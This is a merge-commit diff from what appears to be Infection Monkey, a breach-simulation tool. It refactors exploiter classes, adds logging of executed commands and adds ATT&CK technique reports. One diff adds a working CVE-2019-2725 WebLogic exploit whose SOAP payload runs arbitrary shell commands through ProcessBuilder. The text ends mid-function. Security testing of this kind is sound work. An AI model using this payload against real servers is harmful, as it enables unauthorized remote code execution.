Merge branch 'develop' into bugfix/fix-update-attack-report

This commit is contained in:
Itay Mizeretz 2019-07-07 11:19:15 +03:00 committed by GitHub
commit 7cd6a0b434
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
45 changed files with 658 additions and 186 deletions

View File

@ -123,11 +123,11 @@ class ControlClient(object):
return {} return {}
@staticmethod @staticmethod
def send_telemetry(telem_catagory, data): def send_telemetry(telem_category, data):
if not WormConfiguration.current_server: if not WormConfiguration.current_server:
return return
try: try:
telemetry = {'monkey_guid': GUID, 'telem_catagory': telem_catagory, 'data': data} telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry), data=json.dumps(telemetry),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},

View File

@ -24,7 +24,8 @@ class HostExploiter(object):
'started': '', 'started': '',
'finished': '', 'finished': '',
'vulnerable_urls': [], 'vulnerable_urls': [],
'vulnerable_ports': []} 'vulnerable_ports': [],
'executed_cmds': []}
self._exploit_attempts = [] self._exploit_attempts = []
self.host = host self.host = host
@ -48,8 +49,20 @@ class HostExploiter(object):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password, self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod
def exploit_host(self): def exploit_host(self):
self.pre_exploit()
result = self._exploit_host()
self.post_exploit()
return result
def pre_exploit(self):
self.set_start_time()
def post_exploit(self):
self.set_finish_time()
@abstractmethod
def _exploit_host(self):
raise NotImplementedError() raise NotImplementedError()
def add_vuln_url(self, url): def add_vuln_url(self, url):
@ -58,6 +71,14 @@ class HostExploiter(object):
def add_vuln_port(self, port): def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port) self._exploit_info['vulnerable_ports'].append(port)
def add_executed_cmd(self, cmd):
"""
Appends command to exploiter's info.
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
self._exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -31,7 +31,7 @@ class HadoopExploiter(WebRCE):
def __init__(self, host): def __init__(self, host):
super(HadoopExploiter, self).__init__(host) super(HadoopExploiter, self).__init__(host)
def exploit_host(self): def _exploit_host(self):
# Try to get exploitable url # Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS) urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True) self.add_vulnerable_urls(urls, True)
@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE):
return False return False
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
self.add_executed_cmd(command)
return True return True
def exploit(self, url, command): def exploit(self, url, command):

View File

@ -30,7 +30,7 @@ class MSSQLExploiter(HostExploiter):
def __init__(self, host): def __init__(self, host):
super(MSSQLExploiter, self).__init__(host) super(MSSQLExploiter, self).__init__(host)
def exploit_host(self): def _exploit_host(self):
# Brute force to get connection # Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
@ -66,7 +66,7 @@ class MSSQLExploiter(HostExploiter):
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)] "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path) MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
# Form monkey's command in a file # Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host, monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1, tools.get_monkey_depth() - 1,
@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter):
commands.extend(monkey_args) commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path) MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(commands[-1])
return True return True
@staticmethod @staticmethod

View File

@ -255,7 +255,7 @@ class RdpExploiter(HostExploiter):
return True return True
return False return False
def exploit_host(self): def _exploit_host(self):
global g_reactor global g_reactor
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r", LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host) os.path.basename(src_path), self.host)
self.add_executed_cmd(command)
return True return True

View File

@ -57,7 +57,7 @@ class SambaCryExploiter(HostExploiter):
def __init__(self, host): def __init__(self, host):
super(SambaCryExploiter, self).__init__(host) super(SambaCryExploiter, self).__init__(host)
def exploit_host(self): def _exploit_host(self):
if not self.is_vulnerable(): if not self.is_vulnerable():
return False return False

View File

@ -36,7 +36,7 @@ class ShellShockExploiter(HostExploiter):
) for _ in range(20)) ) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self): def _exploit_host(self):
# start by picking ports # start by picking ports
candidate_services = { candidate_services = {
service: self.host.services[service] for service in self.host.services if service: self.host.services[service] for service in self.host.services if
@ -144,6 +144,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
continue continue
self.add_executed_cmd(cmdline)
return True return True
return False return False

View File

@ -43,7 +43,7 @@ class SmbExploiter(HostExploiter):
return self.host.os.get('type') in self._TARGET_OS_TYPE return self.host.os.get('type') in self._TARGET_OS_TYPE
return False return False
def exploit_host(self): def _exploit_host(self):
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:

View File

@ -94,7 +94,7 @@ class SSHExploiter(HostExploiter):
continue continue
return exploited return exploited
def exploit_host(self): def _exploit_host(self):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -178,6 +178,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close() ssh.close()
self.add_executed_cmd(cmdline)
return True return True
except Exception as exc: except Exception as exc:

View File

@ -60,7 +60,7 @@ class VSFTPDExploiter(HostExploiter):
LOG.error('Failed to send payload to %s', self.host.ip_addr) LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False return False
def exploit_host(self): def _exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..") LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -138,6 +138,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey) self.host, run_monkey)
self.add_executed_cmd(run_monkey)
return True return True
else: else:
return False return False

View File

@ -66,7 +66,7 @@ class WebRCE(HostExploiter):
return exploit_config return exploit_config
def exploit_host(self): def _exploit_host(self):
""" """
Method that contains default exploitation workflow Method that contains default exploitation workflow
:return: True if exploited, False otherwise :return: True if exploited, False otherwise
@ -338,7 +338,7 @@ class WebRCE(HostExploiter):
command = self.get_command(paths['dest_path'], http_path, commands) command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command) resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
@ -408,6 +408,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False # If exploiter returns True / False
if type(resp) is bool: if type(resp) is bool:
LOG.info("Execution attempt successfully finished") LOG.info("Execution attempt successfully finished")
self.add_executed_cmd(command)
return resp return resp
# If exploiter returns command output, we can check for execution errors # If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp: if 'is not recognized' in resp or 'command not found' in resp:
@ -420,6 +421,8 @@ class WebRCE(HostExploiter):
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False return False
LOG.info("Execution attempt finished") LOG.info("Execution attempt finished")
self.add_executed_cmd(command)
return resp return resp
def get_monkey_upload_path(self, url_to_monkey): def get_monkey_upload_path(self, url_to_monkey):

View File

@ -1,3 +1,48 @@
from __future__ import print_function
import threading
import logging
import time
import copy
from requests import post, exceptions
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
# Exploit based of: # Exploit based of:
# Kevin Kirsche (d3c3pt10n) # Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271 # https://github.com/kkirsche/CVE-2017-10271
@ -5,57 +50,29 @@
# Luffin from Github # Luffin from Github
# https://github.com/Luffin/CVE-2017-10271 # https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271 # CVE: CVE-2017-10271
from __future__ import print_function class WebLogic201710271(WebRCE):
from requests import post, exceptions URLS = ["/wls-wsat/CoordinatorPortType",
from infection_monkey.exploit.web_rce import WebRCE "/wls-wsat/CoordinatorPortType11",
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target "/wls-wsat/ParticipantPortType",
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer "/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
import threading _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
import logging _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
import time
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def __init__(self, host): def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe', 'win32': 'monkey32.exe',
'win64': 'monkey64.exe'}) 'win64': 'monkey64.exe'})
def get_exploit_config(self): def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config() exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config return exploit_config
def exploit(self, url, command): def exploit(self, url, command):
@ -66,8 +83,8 @@ class WebLogicExploiter(WebRCE):
try: try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e: except Exception as e:
print('[!] Connection Error') LOG.error("Connection error: %s" % e)
print(e) return False
return True return True
@ -196,6 +213,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind, Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not. we determine if we can exploit by either getting a GET request from host or not.
""" """
def __init__(self, local_ip, local_port, lock, max_requests=1): def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip self.local_ip = local_ip
self.local_port = local_port self.local_port = local_port
@ -212,6 +230,7 @@ class WebLogicExploiter(WebRCE):
def do_GET(): def do_GET():
LOG.info('Server received a request from vulnerable machine') LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1 self.get_requests += 1
LOG.info('Server waiting for exploited machine request...') LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S) httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True httpd.daemon = True
@ -224,3 +243,82 @@ class WebLogicExploiter(WebRCE):
def stop(self): def stop(self):
self._stopped = True self._stopped = True
# Exploit based of:
# Andres Rodriguez (acamro)
# https://github.com/rapid7/metasploit-framework/pull/11780
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config['url_extensions'] = WebLogic20192725.URLS
exploit_config['blind_exploit'] = True
exploit_config['dropper'] = True
return exploit_config
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command)
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True
else:
return False
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used to exploit weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
<void class=\"java.lang.ProcessBuilder\">
<array class=\"java.lang.String\" length=\"3\">
<void index=\"0\">
<string>{cmd_base}</string>
</void>
<void index=\"1\">
<string>{cmd_opt}</string>
</void>
<void index=\"2\">
<string>{cmd_payload}</string>
</void>
</array>
<void method=\"start\"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload

View File

@ -92,7 +92,7 @@ class SRVSVC_Exploit(object):
def get_telnet_port(self): def get_telnet_port(self):
"""get_telnet_port() """get_telnet_port()
The port on which the Telnet service will listen. The port on which the Telnet service will listen.
""" """
@ -100,7 +100,7 @@ class SRVSVC_Exploit(object):
def start(self): def start(self):
"""start() -> socket """start() -> socket
Exploit the target machine and return a socket connected to it's Exploit the target machine and return a socket connected to it's
listening Telnet service. listening Telnet service.
""" """
@ -175,7 +175,7 @@ class Ms08_067_Exploiter(HostExploiter):
self.host.os.get('version') in self._windows_versions.keys() self.host.os.get('version') in self._windows_versions.keys()
return False return False
def exploit_host(self): def _exploit_host(self):
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:

View File

@ -23,7 +23,7 @@ class WmiExploiter(HostExploiter):
super(WmiExploiter, self).__init__(host) super(WmiExploiter, self).__init__(host)
@WmiTools.dcom_wrap @WmiTools.dcom_wrap
def exploit_host(self): def _exploit_host(self):
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter):
result.RemRelease() result.RemRelease()
wmi_connection.close() wmi_connection.close()
self.add_executed_cmd(cmdline)
return success return success
return False return False

View File

@ -285,9 +285,7 @@ class InfectionMonkey(object):
result = False result = False
try: try:
exploiter.set_start_time()
result = exploiter.exploit_host() result = exploiter.exploit_host()
exploiter.set_finish_time()
if result: if result:
self.successfully_exploited(machine, exploiter) self.successfully_exploited(machine, exploiter)
return True return True

View File

@ -45,12 +45,17 @@ class PBA(object):
""" """
exec_funct = self._execute_default exec_funct = self._execute_default
result = exec_funct() result = exec_funct()
hostname = socket.gethostname() try:
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
except socket.error:
hostname = "Unknown"
ip = "Unknown"
ControlClient.send_telemetry('post_breach', {'command': self.command, ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': result, 'result': result,
'name': self.name, 'name': self.name,
'hostname': hostname, 'hostname': hostname,
'ip': socket.gethostbyname(hostname)}) 'ip': ip})
def _execute_default(self): def _execute_default(self):
""" """

View File

@ -15,7 +15,7 @@ class AttackTelem(BaseTelem):
self.technique = technique self.technique = technique
self.status = status self.status = status
telem_catagory = 'attack' telem_category = 'attack'
def get_data(self): def get_data(self):
return { return {

View File

@ -13,7 +13,7 @@ class TestVictimHostTelem(TestCase):
telem = VictimHostTelem(technique, status, machine) telem = VictimHostTelem(technique, status, machine)
self.assertEqual(telem.telem_catagory, 'attack') self.assertEqual(telem.telem_category, 'attack')
expected_data = { expected_data = {
'machine': { 'machine': {

View File

@ -19,10 +19,10 @@ class BaseTelem(object):
""" """
Sends telemetry to island Sends telemetry to island
""" """
ControlClient.send_telemetry(self.telem_catagory, self.get_data()) ControlClient.send_telemetry(self.telem_category, self.get_data())
@abc.abstractproperty @abc.abstractproperty
def telem_catagory(self): def telem_category(self):
""" """
:return: Telemetry type :return: Telemetry type
""" """

View File

@ -49,7 +49,8 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
start_range += chunk start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename): if f.tell() == monkeyfs.getsize(self.filename):
self.report_download(self.client_address) if self.report_download(self.client_address):
self.close_connection = 1
f.close() f.close()
@ -171,7 +172,8 @@ class HTTPServer(threading.Thread):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1 self.downloads += 1
if not self.downloads < self.max_downloads: if not self.downloads < self.max_downloads:
self.close_connection = 1 return True
return False
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant? httpd.timeout = 0.5 # this is irrelevant?
@ -217,7 +219,8 @@ class LockedHTTPServer(threading.Thread):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1 self.downloads += 1
if not self.downloads < self.max_downloads: if not self.downloads < self.max_downloads:
self.close_connection = 1 return True
return False
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release() self.lock.release()

View File

@ -95,7 +95,7 @@ class Monkey(flask_restful.Resource):
parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run
if parent and parent != monkey_json.get('guid'): # current parent is known if parent and parent != monkey_json.get('guid'): # current parent is known
exploit_telem = [x for x in exploit_telem = [x for x in
mongo.db.telemetry.find({'telem_catagory': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']},
'monkey_guid': {'$eq': parent}})] 'monkey_guid': {'$eq': parent}})]
if 1 == len(exploit_telem): if 1 == len(exploit_telem):
@ -104,7 +104,7 @@ class Monkey(flask_restful.Resource):
parent_to_add = (parent, None) parent_to_add = (parent, None)
elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json:
exploit_telem = [x for x in exploit_telem = [x for x in
mongo.db.telemetry.find({'telem_catagory': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})]
if 1 == len(exploit_telem): if 1 == len(exploit_telem):

View File

@ -26,7 +26,7 @@ class Telemetry(flask_restful.Resource):
@jwt_required() @jwt_required()
def get(self, **kw): def get(self, **kw):
monkey_guid = request.args.get('monkey_guid') monkey_guid = request.args.get('monkey_guid')
telem_catagory = request.args.get('telem_catagory') telem_category = request.args.get('telem_category')
timestamp = request.args.get('timestamp') timestamp = request.args.get('timestamp')
if "null" == timestamp: # special case to avoid ugly JS code... if "null" == timestamp: # special case to avoid ugly JS code...
timestamp = None timestamp = None
@ -36,8 +36,8 @@ class Telemetry(flask_restful.Resource):
if monkey_guid: if monkey_guid:
find_filter["monkey_guid"] = {'$eq': monkey_guid} find_filter["monkey_guid"] = {'$eq': monkey_guid}
if telem_catagory: if telem_category:
find_filter["telem_catagory"] = {'$eq': telem_catagory} find_filter["telem_category"] = {'$eq': telem_category}
if timestamp: if timestamp:
find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)} find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)}
@ -53,11 +53,11 @@ class Telemetry(flask_restful.Resource):
try: try:
NodeService.update_monkey_modify_time(monkey["_id"]) NodeService.update_monkey_modify_time(monkey["_id"])
telem_catagory = telemetry_json.get('telem_catagory') telem_category = telemetry_json.get('telem_category')
if telem_catagory in TELEM_PROCESS_DICT: if telem_category in TELEM_PROCESS_DICT:
TELEM_PROCESS_DICT[telem_catagory](telemetry_json) TELEM_PROCESS_DICT[telem_category](telemetry_json)
else: else:
logger.info('Got unknown type of telemetry: %s' % telem_catagory) logger.info('Got unknown type of telemetry: %s' % telem_category)
except Exception as ex: except Exception as ex:
logger.error("Exception caught while processing telemetry", exc_info=True) logger.error("Exception caught while processing telemetry", exc_info=True)
@ -79,7 +79,7 @@ class Telemetry(flask_restful.Resource):
monkey_label = telem_monkey_guid monkey_label = telem_monkey_guid
x["monkey"] = monkey_label x["monkey"] = monkey_label
objects.append(x) objects.append(x)
if x['telem_catagory'] == 'system_info_collection' and 'credentials' in x['data']: if x['telem_category'] == 'system_info_collection' and 'credentials' in x['data']:
for user in x['data']['credentials']: for user in x['data']['credentials']:
if -1 != user.find(','): if -1 != user.find(','):
new_user = user.replace(',', '.') new_user = user.replace(',', '.')

View File

@ -38,7 +38,7 @@ class TelemetryFeed(flask_restful.Resource):
'id': telem['_id'], 'id': telem['_id'],
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname, 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname,
'brief': TELEM_PROCESS_DICT[telem['telem_catagory']](telem) 'brief': TELEM_PROCESS_DICT[telem['telem_category']](telem)
} }
@staticmethod @staticmethod
@ -82,9 +82,9 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod @staticmethod
def get_post_breach_telem_brief(telem): def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'],
telem['data']['hostname'], telem['data']['hostname'],
telem['data']['ip']) telem['data']['ip'])
@staticmethod @staticmethod
def get_attack_telem_brief(telem): def get_attack_telem_brief(telem):

View File

@ -1,7 +1,6 @@
import logging import logging
from monkey_island.cc.models import Monkey from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
@ -12,7 +11,11 @@ LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210, TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197, 'T1197': T1197.T1197,
'T1110': T1110.T1110} 'T1110': T1110.T1110,
'T1075': T1075.T1075,
'T1003': T1003.T1003,
'T1059': T1059.T1059,
'T1086': T1086.T1086}
REPORT_NAME = 'new_report' REPORT_NAME = 'new_report'
@ -44,6 +47,14 @@ class AttackReportService:
mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
return report return report
@staticmethod
def get_latest_attack_telem_time():
"""
Gets timestamp of latest attack telem
:return: timestamp of latest attack telem
"""
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
@staticmethod @staticmethod
def get_latest_report(): def get_latest_report():
""" """

View File

@ -84,5 +84,27 @@ SCHEMA = {
} }
} }
}, },
"execution": {
"title": "Execution",
"type": "object",
"properties": {
"T1059": {
"title": "T1059 Command line interface",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may use command-line interfaces to interact with systems "
"and execute other software during the course of an operation.",
},
"T1086": {
"title": "T1086 Powershell",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries can use PowerShell to perform a number of actions,"
" including discovery of information and execution of code.",
}
}
},
} }
} }

View File

@ -0,0 +1,27 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
# $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
@staticmethod
def get_report_data():
data = {'title': T1003.technique_title()}
if mongo.db.telemetry.count_documents(T1003.query):
status = ScanStatus.USED
else:
